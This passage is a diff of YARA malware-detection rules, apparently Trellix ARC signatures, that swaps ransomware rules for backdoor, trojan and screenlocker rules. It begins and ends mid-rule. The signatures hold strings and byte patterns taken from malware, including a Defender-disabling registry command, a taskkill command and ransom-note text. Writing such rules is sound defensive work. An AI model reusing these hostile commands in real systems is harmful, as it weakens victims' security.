"564b0592f40582fe71e2dab0c0f25c168462f9297c13e7c9f06ac51b492e4533" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" - rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransomware:W32/Exorcist" - actor_type = "Cybercrime" - hash1 = "793dcc731fa2c6f7406fd52c7ac43926ac23e39badce09677128cce0192e19b0" - actor_type = "Cybercrime" + tags = "EICAR" + malware_type = "eicar" + malware_family = "W32/Eicar" + actor_type = "Unknown" actor_group = "Unknown" strings: - $sq1 = { 48 8B C4 48 89 58 08 48 89 70 10 48 89 78 18 4C 89 60 20 55 41 56 41 57 48 8D 68 A1 48 81 EC 90 00 00 00 49 8B F1 49 8B F8 4C 8B FA 48 8B D9 E8 ?? ?? ?? ?? 45 33 E4 85 C0 0F 85 B1 00 00 00 48 8B D7 48 8B CB E8 9E 02 00 00 85 C0 0F 85 9E 00 00 00 33 D2 48 8B CB E8 ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 45 8D 44 24 01 48 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 8B D0 48 8B CB 48 8B F8 FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 E8 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 4C 8B F0 48 8D 48 FF 48 83 F9 FD 77 25 48 8D 55 2F 48 8B C8 FF 15 ?? ?? ?? ?? 4C 39 65 2F 75 3B 49 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 4C 8D 9C 24 90 00 00 00 49 8B 5B 20 49 8B 73 28 49 8B 7B 30 4D 8B 63 38 49 8B E3 41 5F 41 5E 5D C3 48 8D 45 FB 4C 89 65 1F 4C 8D 4D FF 48 89 44 24 20 4C 8B C6 4C 89 65 07 48 8D 55 07 4C 89 65 FF 48 8D 4D 1F 44 89 65 FB E8 ?? ?? ?? ?? 45 33 C9 4C 8D 05 3C F5 FF FF 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 48 8D 55 17 49 8B CE FF 15 ?? ?? ?? ?? 49 8B CE 44 89 65 F7 E8 ?? ?? ?? ?? 49 8B F4 4C 89 65 0F 4C 39 65 17 0F 8E 9D 00 00 00 C1 E0 10 44 8B F8 F0 FF 45 F7 B9 50 00 00 00 E8 ?? ?? ?? ?? 8B 4D 13 48 8B D8 89 48 14 89 70 10 4C 89 60 18 44 89 60 28 4C 89 70 30 48 8B 4D 07 48 89 48 48 48 8D 45 F7 B9 00 00 01 00 48 89 43 40 E8 ?? ?? ?? ?? 33 D2 48 89 43 20 41 B8 00 00 01 00 48 8B C8 E8 ?? ?? ?? ?? 48 8B 53 20 4C 8D 4B 38 41 B8 00 00 01 00 48 89 5C 24 20 49 8B CE FF 15 ?? ?? ?? ?? EB 08 33 C9 FF 15 ?? ?? ?? ?? 8B 45 F7 3D E8 03 00 00 77 EE 49 03 F7 48 89 75 0F 48 3B 75 17 0F 8C 6B FF FF FF EB 03 8B 45 F7 85 C0 74 0E 33 C9 FF 15 ?? ?? ?? ?? 44 39 65 F7 77 F2 48 8B 4D 07 E8 ?? ?? ?? ?? 48 8B 4D 1F 33 D2 E8 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 00 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 48 8B D8 48 8D 48 FF 48 83 F9 FD 77 51 48 8D 55 37 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B 55 37 45 33 C9 45 33 C0 48 8B CB FF 15 ?? ?? ?? ?? 44 8B 45 FB 4C 8D 4D 27 48 8B 55 FF 48 8B CB 4C 89 64 24 20 FF 15 ?? ?? ?? ?? 48 8B 4D FF E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? E9 14 FE FF FF 48 8B CF E8 ?? ?? ?? ?? 48 8B 4D FF E9 06 FE FF FF } - $sq2 = { 48 8B C4 48 81 EC 38 01 00 00 48 8D 50 08 C7 40 08 04 01 00 00 48 8D 4C 24 20 FF 15 ?? ?? ?? ?? 48 8D 4C 24 20 E8 ?? ?? ?? ?? 48 81 C4 38 01 00 00 C3 } + $s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii condition: - uint16( 0 ) == 0x5a4d and any of them + any of them } -rule TRELLIX_ARC_Pico_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Havex_Backdoor_Pdb : BACKDOOR FILE { meta: - description = "Rule to detect Pico Ransomware" + description = "Rule to detect backdoor Havex based on PDB" author = "Marc Rivero | McAfee ATR Team" - id = "843cac7a-652e-5cbf-a09d-fb4b1eaa8481" - date = "2018-08-30" + id = "a667bb4e-8c38-59a6-8ae0-09c44961a687" + date = "2012-11-17" modified = "2020-08-14" - reference = "https://twitter.com/siri_urz/status/1035138577934557184" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Pico.yar#L1-L37" + reference = "https://www.f-secure.com/v-descs/backdoor_w32_havex.shtml" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_backdoor_havex_pdb.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "cc4a9e410d38a29d0b6c19e79223b270e3a1c326b79c03bec73840b37778bc06" - logic_hash = "bb15e66504f393bcb4b173cb2a4ec65aa13110060f7fb70282330b5f6d72f5ed" + hash = "0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255" + logic_hash = "dc50475b1ff2194306a0295f71860e4cc5ae7e126daa5d401b98cd2a0aadf1dd" score = 75 - quality = 20 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Pico" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Havex" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "C:\\Users\\rikfe\\Desktop\\Ransomware\\ThanatosSource\\Release\\Ransomware.pdb" fullword ascii - $s2 = "\\Downloads\\README.txt" fullword ascii - $s3 = "\\Music\\README.txt" fullword ascii - $s4 = "\\Videos\\README.txt" fullword ascii - $s5 = "\\Pictures\\README.txt" fullword ascii - $s6 = "\\Desktop\\README.txt" fullword ascii - $s7 = "\\Documents\\README.txt" fullword ascii - $s8 = "/c taskkill /im " fullword ascii - $s9 = "\\AppData\\Roaming\\" fullword ascii - $s10 = "gMozilla/5.0 (Windows NT 6.1) Thanatos/1.1" fullword wide - $s11 = "AppData\\Roaming" fullword ascii - $s12 = "\\Downloads" fullword ascii - $s13 = "operator co_await" fullword ascii + $pdb = "\\Workspace\\PhalangX 3D\\Src\\Build\\Release\\Phalanx-3d.ServerAgent.pdb" + $pdb1 = "\\Workspace\\PhalangX 3D\\Src\\Build\\Release\\Tmprovider.pdb" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 700KB ) and all of them + uint16( 0 ) == 0x5a4d and filesize < 500KB and any of them } -rule TRELLIX_ARC_Ransom_Xinof : RANSOMWARE FILE +rule TRELLIX_ARC_Chikdos_Malware_Pdb : DOS FILE { meta: - description = "Detect Xinof ransomware" - author = "Thomas Roccia | McAfee ATR team" - id = "3b064ce4-cd5b-5a4a-bb55-a2c2c361791e" - date = "2020-11-20" - modified = "2020-11-20" - reference = "https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_xinof.yar#L53-L82" + description = "Chikdos PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "0174ff2b-57fc-5578-b45e-c08bf8528ee8" + date = "2013-12-02" + modified = "2020-08-14" + reference = "http://hackermedicine.com/tag/trojan-chickdos/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_chickdos_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "0c1e6299a2392239dbe7fead33ef4146" - logic_hash = "42110ee8869d56c53dc201cbc83652c6457541b8d502aa12b37ef6200e735a15" + hash = "c2a0e9f8e880ac22098d550a74940b1d81bc9fda06cebcf67f74782e55e9d9cc" + logic_hash = "150bf809a61aad00df0c49fb6a609b909c84ffb9ca442e143a6c5bf3dfc39314" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "DOS, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom/XINOF" + malware_type = "dos" + malware_family = "Dos:W32/ChickDos" actor_type = "Cybercrime" - actor_group = "FONIX" + actor_group = "Unknown" strings: - $s1 = "XINOF.exe" nocase ascii - $s2 = "C:\\Users\\Phoenix" nocase ascii - $s3 = "How To Decrypt Files.hta" nocase ascii - $s4 = "C:\\ProgramData\\norunanyway" nocase ascii - $s5 = "C:\\ProgramData\\clast" nocase ascii - $s6 = "fonix1" nocase ascii - $s7 = "C:\\Windows\\System32\\shatdown.exe" nocase ascii - $s8 = "XINOF Ransomw" nocase ascii - $s9 = "XINOF v4.2" nocase ascii - $s10 = "XINOF Ransomware Version 3.3" nocase ascii + $pdb = "\\IntergrateCHK\\Release\\IntergrateCHK.pdb" condition: - uint16( 0 ) == 0x5a4d and filesize < 2000KB and 5 of ( $s* ) or TRELLIX_ARC_Ransom_Xinof_Chunk_PRIVATE + uint16( 0 ) == 0x5a4d and filesize < 600KB and any of them } - -rule TRELLIX_ARC_Ransom_Egregor : RANSOMWARE FILE +rule TRELLIX_ARC_Rtf_Bluetea_Builder : MALDOC FILE { meta: - description = "Detect Egregor ransomware" - author = "Thomas Roccia | McAfee ATR team" - id = "b9f1a712-c168-5e0f-8b9e-cb03a6c43fc3" - date = "2020-10-28" - modified = "2020-10-28" - reference = "https://bazaar.abuse.ch/sample/004a2dc3ec7b98fa7fe6ae9c23a8b051ec30bcfcd2bc387c440c07ff5180fe9a/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_egregor.yar#L4-L31" + description = "Rule to detect the RTF files created to distribute BlueTea trojan" + author = "Marc Rivero | McAfee ATR Team" + id = "20e4f7b2-b36c-5724-a3aa-4216ed6265ab" + date = "2020-04-21" + modified = "2020-08-14" + reference = "https://blog.360totalsecurity.com/en/bluetea-action-drive-the-life-trojan-update-email-worm-module-and-spread-through-covid-19-outbreak/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALDOC_rtf_bluetea_builder.yar#L1-L30" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "5f9fcbdf7ad86583eb2bbcaa5741d88a" - logic_hash = "8077c656eed0b1633da54f8d017d4eff122f2f4e486c4e1af6f6434ea33c0675" + hash = "4a3eeaed22342967a95302a4f087b25f50d61314facc6791f756dcd113d4f277" + logic_hash = "6c4007fb7ef4819141db63050215dcbb3d2c17e7cdcdbb6cfb4f4b045bb5736b" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "MALDOC, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom/Egregor" + malware_type = "maldoc" + malware_family = "Maldoc:W32/BlueTea" actor_type = "Cybercrime" - actor_group = "egregor" + actor_group = "Unknown" strings: - $p1 = "ewdk.pdb" fullword ascii - $p2 = "testbuild.pdb" fullword ascii - $s1 = "M:\\" nocase ascii - $s2 = "1z1M9U9" fullword wide - $s3 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide + $sequence = { 7B??72??6631??????65666C616E6731??32??????????69??????????????67????36??75??32??????656666????35????????656666????????73??666462????33??35????????74??68????????68????????36??73??73??66??????68????????36??73??73??6662????5C646566??616E6731??33??5C646566??616E67666532??35????????656D656C616E6731??33??5C74??656D656C616E67666532??35????????656D656C616E6763????7B??666F6E74??62??????6630??????69??????????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????6631??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??5C6633????6662????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??6120????74??3B????0A????6633??5C6662????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6633??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??5C2763????2763????2763????276535????????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??613B????5C6662????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????666C6F6D69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6E6F72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????69????????????31??????????62????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6662????69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??6634??5C6662????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??0A????6631??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C6633??30??????69??????????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????74??20????3B????5C6633??31??????69??????????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????74??20????72??7D??5C6633??33??????69??????????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????74??20????6565??????0D????????33??34??6662????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120????74??20??????3B????5C6633??375C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????74??20????6C74??63??7D??5C6633??38??????69??????????????6D616E5C6663????72??6574??3633??????72??32??43616D62????6120????74??20??5669????????????73??29??7D??5C6634??30??????69??????????????69????????????6172??6574??33??5C6670??71??20????6C69????????????3B????0A????6634??31??????69??????????????69????????????6172??6574??30????6670??71??20????6C69????????????72??7D??5C6634??33??????69??????????????69????????????6172??6574??3631??????72??32??43616C69????????????6565??????7B??6634??34??6662????69??????????69????????????6172??6574??3632??????72??32??43616C69????????????72??7D??5C6634??375C6662????69??????????69????????????6172??6574??38??5C6670??71??20????6C69????????????6C74??63??7D??0A????6634??38??????69??????????????69????????????6172??6574??3633??????72??32??43616C69????????????69????????????73??29??7D??5C6634??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????2763????2763????2763????276535????????74??72??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????72??7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????6565??????7B??66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120??????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????6C74??63??7D??5C66??????616A?? } condition: - uint16( 0 ) == 0x5a4d and filesize < 2000KB and hash.sha256 ( pe.rich_signature.clear_data ) == "b030ed1a7ca222a0923a59f321be7e55b8d0fc24c1134df1ba775bcf0994c79c" or ( pe.sections [ 4 ] . name == ".gfids" and pe.sections [ 5 ] . name == ".00cfg" ) and ( any of ( $p* ) or 2 of ( $s* ) ) + uint16( 0 ) == 0x5c7b and filesize < 100KB and all of them } - -rule TRELLIX_ARC_Ransomware_Sodinokibi : RANSOMWARE FILE +rule TRELLIX_ARC_Screenlocker_5H311_1Nj3C706 : SCREENLOCKER FILE { meta: - description = "Using a recently disclosed vulnerability in Oracle WebLogic, criminals use it to install a new variant of ransomware called “Sodinokibi" - author = "Christiaan Beek | McAfee ATR team" - id = "573e3390-1ee5-5489-a67e-decc02aea7a0" - date = "2019-05-13" - modified = "2025-03-18" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Sodinokibi.yar#L3-L30" + description = "Rule to detect the screenlocker 5h311_1nj3c706" + author = "Marc Rivero | McAfee ATR Team" + id = "50bbe8e1-4721-5277-b786-d2a2d9acf917" + date = "2018-08-07" + modified = "2020-08-14" + reference = "https://twitter.com/demonslay335/status/1038060120461266944" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_screenlocker_5h311_1nj3c706.yar#L1-L33" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "cb5d4e9a7cbec27d693ed73bab4be598614d7bd5ebd23d7907730571a4174be8" + hash = "016ee638bd4fccd5ca438c2e0abddc4b070f59269c08f11c5313ba9c37190718" + logic_hash = "61b4495841c77053ba2631f087197719f3ee45cd93add022f23b87ece8563619" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "SCREENLOCKER, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Sodinokibi" + malware_type = "screenlocker" + malware_family = "ScreenLocker:W32/5h311_1nj3c706" actor_type = "Cybercrime" actor_group = "Unknown" - hash4 = "9b62f917afa1c1a61e3be0978c8692dac797dd67ce0e5fd2305cc7c6b5fef392" strings: - $x1 = "sodinokibi.exe" fullword wide - $y0 = { 8d 85 6c ff ff ff 50 53 50 e8 62 82 00 00 83 c4 } - $y1 = { e8 24 ea ff ff ff 75 08 8b ce e8 61 fc ff ff 8b } - $y2 = { e8 01 64 ff ff ff b6 b0 } + $s1 = "C:\\Users\\Hoang Nam\\source\\repos\\WindowsApp22\\WindowsApp22\\obj\\Debug\\WindowsApp22.pdb" fullword ascii + $s2 = "cmd.exe /cREG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop /v NoChangingWallPaper /t REG_DWOR" wide + $s3 = "C:\\Users\\file1.txt" fullword wide + $s4 = "C:\\Users\\file2.txt" fullword wide + $s5 = "C:\\Users\\file.txt" fullword wide + $s6 = " /v Wallpaper /t REG_SZ /d %temp%\\IMG.jpg /f" fullword wide + $s7 = " /v DisableAntiSpyware /t REG_DWORD /d 1 /f" fullword wide + $s8 = "All your file has been locked. You must pay money to have a key." fullword wide + $s9 = "After we receive Bitcoin from you. We will send key to your email." fullword wide condition: - ( uint16( 0 ) == 0x5a4d and filesize < 900KB and pe.imphash ( ) == "672b84df309666b9d7d2bc8cc058e4c2" and all of ( $y* ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them } -rule TRELLIX_ARC_Sodinokobi : RANSOMWARE +rule TRELLIX_ARC_Nionspy : FILEINFECTOR FILE { meta: - description = "This rule detect Sodinokobi Ransomware in memory in old samples and perhaps future." - author = "McAfee ATR team" - id = "dd05ce31-9699-50a9-944c-5883340791af" - date = "2026-02-01" - modified = "2025-03-18" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Sodinokibi.yar#L32-L53" + description = "Triggers on old and new variants of W32/NionSpy file infector" + author = "Trellix ARC Team" + id = "86051ef8-a18b-553c-b06c-490f8d6df5cf" + date = "2026-03-01" + modified = "2020-08-14" + reference = "https://blogs.mcafee.com/mcafee-labs/taking-a-close-look-at-data-stealing-nionspy-file-infector" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_NionSpy.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "f25039ac743223756461bbeeb349c674473608f9959bf3c79ce4a7587fde3ab2" + logic_hash = "982ba52f39352aee9e2d2dcadfb0816c439e92d0e5947afa7860630720913742" score = 75 quality = 70 - tags = "RANSOMWARE" - malware_type = "ransomware" - malware_family = "Ransom:W32/Sodinokibi" + tags = "FILEINFECTOR, FILE" + malware_type = "fileinfector" + malware_family = "FileInfector:W32/NionSpy" actor_type = "Cybercrime" actor_group = "Unknown" - version = "1.0" strings: - $a = { 40 0F B6 C8 89 4D FC 8A 94 0D FC FE FF FF 0F B6 C2 03 C6 0F B6 F0 8A 84 35 FC FE FF FF 88 84 0D FC FE FF FF 88 94 35 FC FE FF FF 0F B6 8C 0D FC FE FF FF } - $b = { 0F B6 C2 03 C8 8B 45 14 0F B6 C9 8A 8C 0D FC FE FF FF 32 0C 07 88 08 40 89 45 14 8B 45 FC 83 EB 01 75 AA } + $variant2015_infmarker = "aCfG92KXpcSo4Y94BnUrFmnNk27EhW6CqP5EnT" + $variant2013_infmarker = "ad6af8bd5835d19cc7fdc4c62fdf02a1" + $variant2013_string = "%s?cstorage=shell&comp=%s" condition: - all of them + uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and 1 of ( $variant* ) } -rule TRELLIX_ARC_Ransom_Black_Kingdom : RANSOMWARE FILE +rule TRELLIX_ARC_Malw_Medfos : TROJAN FILE { meta: - description = "Rule to detect Black Kingdom ransomware that is spread using the latest Exchange vulns" - author = "McAfee ATR" - id = "c38e6dbf-7fb9-52f0-acd0-f824647b6041" - date = "2026-02-01" - modified = "2021-04-06" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/ransom_BlackKingDom.yar#L3-L49" + description = "Rule to detect Medfos trojan based on PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "07ad0227-ca8f-5071-8ef7-8c3e087fcc35" + date = "2013-04-19" + modified = "2020-08-14" + reference = "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=win32%2Fmedfos" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_medfos_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "334e84a9469367ed64509203feb61b5f64d5a7e38d29ff5c5089631246b06588" - score = 50 - quality = 68 - tags = "RANSOMWARE, FILE" - malware_type = "ransomware" - malware_family = "Ransomware:W32/BlackKingdom_March2021" + hash = "3582e242f62598445ca297c389cae532613afccf48b16e9c1dcf1bfedaa6e14f" + logic_hash = "1726462a806f5cb3f0b80596623cebc51a7a9f866ded0cb59ea1c43034ce2819" + score = 75 + quality = 70 + tags = "TROJAN, FILE" + rule_version = "v1" + malware_type = "trojan" + malware_family = "Trojan:W32/Medfos" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $0 = {7D3F634F627C5EC4D893189F1731F624A6AD458C3D89E9CB22C69EC4B4B588B1A7307D8963EC294C5B718C3D85692B8EB1A730732F8EB16F65EA5CEC17834A665E} - $1 = {3E774F2038FDE77377253CD11BFEB6FB82CF6A03E1B34E134C78A2CFDC1B7CD63AD167EE4E78A227FEF694EE3369143D1B0E84CF7CDAE7C3037C263DD15B979F} - $2 = {0C674D0A2427CDDD9B68213EC0B4A5DF94B19D39BEC0C562346FC7A1D32C0FA5BC9D963440910709A2365360650F5A909685912220EEC0F8157B3E2B95EA2CE9} - $3 = {7B7251266178C52BA731333F9E8A1C327A239FB81B901BAB2755FCAFD8A753F47991516A5C98A6CAAC9A1D5065DE565D87F120B3519DD91E09D353B7120EF9F2} - $4 = {2E233E25767037CA68F9C0F026A5CDDCC08FC0DCE21F61C612F1983A29BD3D986F8239A7692B0EBD478B6C8115564D5B0671346CF7CDDB612247EA7A4FAA7C71} - $5 = {2B2C3249094C8A1A9734E7515D10F78FD1B9339DF1902AC1D4ADE70C27C8A2CA7F3416B7B9F0D10E67519D589B8AD64D6435CC2DF4C2092A4BCEF7053B194AE5} - $6 = {0B297C7D79ECD339B30E87775B6769909CD886D1FBBAF2041DCC4FB11B5BA777AA626A9E8CAC14F64BEA5299A8E304A22BA25FA4F7AC4B95E8ACC42EC33A3DE4} - $7 = {0D46503D4DFD825DED41C94C055E1FCE1134C6F63AD80DCD7427F4BD502FA186077BD22653AB098C96ECDDA26557FB82BBA053CB2067C9DEA7EE0AF6A44C468A} - $8 = {2E774F2038FDE77277253CD11BFEB6FB82CB6A03E1B34E134C78A2CFDC1B5CD63AD167EE4E78A227FEF694EE3269143D1B0E84CF7CDAE5C3035C263DD15B979B} - $9 = {5C4250510A8DEF3463BF7410DEE0E72759B8A94A4D0544BD9B4FC0846E61844F4E06B779ABF906A450F5A2AC4C57CF761798C539175F092FD2429DC27909E382} - $10 = {7C787B386177B4D7F1F6B9E6FE17154FF15BD9E3F1DA94A1E1064654E7500A0B86A20A4AA16BD4E16F19A8733960DE868F10F382CDEEC1F15CE718839241DA10} - $11 = {2C3C6F6B2E597AC746FF7664087C7E899ABCC27AC60FA545D9CF4323063896D299F57132FE3E63E567EBFADF296365A1B2C0163DD8A4F3DABA04C77FA39A99CB} - $12 = {7B3C5D7C73D34D1A6C66B91990D162CACD89ECEAF591AC56C95AB3151EBAC1687FB749924B7BC27917FE50CA6C1417FEDBCC5BA2B7C03B1AEE4F5732E69DAC14} - $13 = {406357775C42584F11A1610D3A8A31F094FA252BC3E10738BD310D536D3A2F9EC5C21996AC4DCF5237AE3A4467D5678EE2983E4282ADFB1FDEA16352109BA7A7} - $14 = 